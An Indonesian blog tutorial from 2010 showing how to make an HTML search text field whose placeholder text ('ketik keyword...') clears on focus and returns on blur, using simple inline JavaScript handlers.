  • Setelah itu, pilih Simpan/Save Templete pada tombol di bawah Edit HTML.
  • Jika sudah, coba sekarang anda buka browser anda, sudah tampilkah?
  • Selamat Mencoba nyengir.

23 March 2010

Membuat Text Field Dinamis

Administrator 23 March 2010 1
Membuat Text Field Dinamis
Ok, langsung saja saya perlihatkan contoh tampilan yang akan kita buat terlebih dahulu. Lihatlah kedua perbedaan dari gambar di bawah ini.

Pada gambar pertama, kita melihat kotak pencarian atau TextField pada Facebook terdapat tulisan Find People and More. Lalu pada gambar kedua, tulisan tersebut hilang. Hal ini dikarenakan terdapat sebuah action yang berasal dari klik mouse untuk menginputkan suatu data. Nah, pada kali ini kita akan mencoba membuat hal tersebut.

Dalam membuat TextField tersebut, tidaklah terlalu susah. Untuk membuatnya adalah sebagai berikut:
  • Buatlah TextField melalui editor HTML.
  • Setelah itu, pada code TextField tersebut, tambahkan beberapa baris code yang pada akhirnya akan menjadi seperti di bawah ini.
<input onblur='if (this.value == "") {this.value = "ketik keyword...";}'
onfocus='if (this.value == "ketik keyword...") {this.value = "";}'
onkeyup='(this.value)' value='ketik keyword...'/>
  • Setelah selesai, simpan code tersebut yang telah dituliskan pada editor menjadi extensi HTML.
  • Setelah selesai, sekarang coba buka file tersebut melalui browser yang anda miliki.
  • Selamat mencoba nyengir.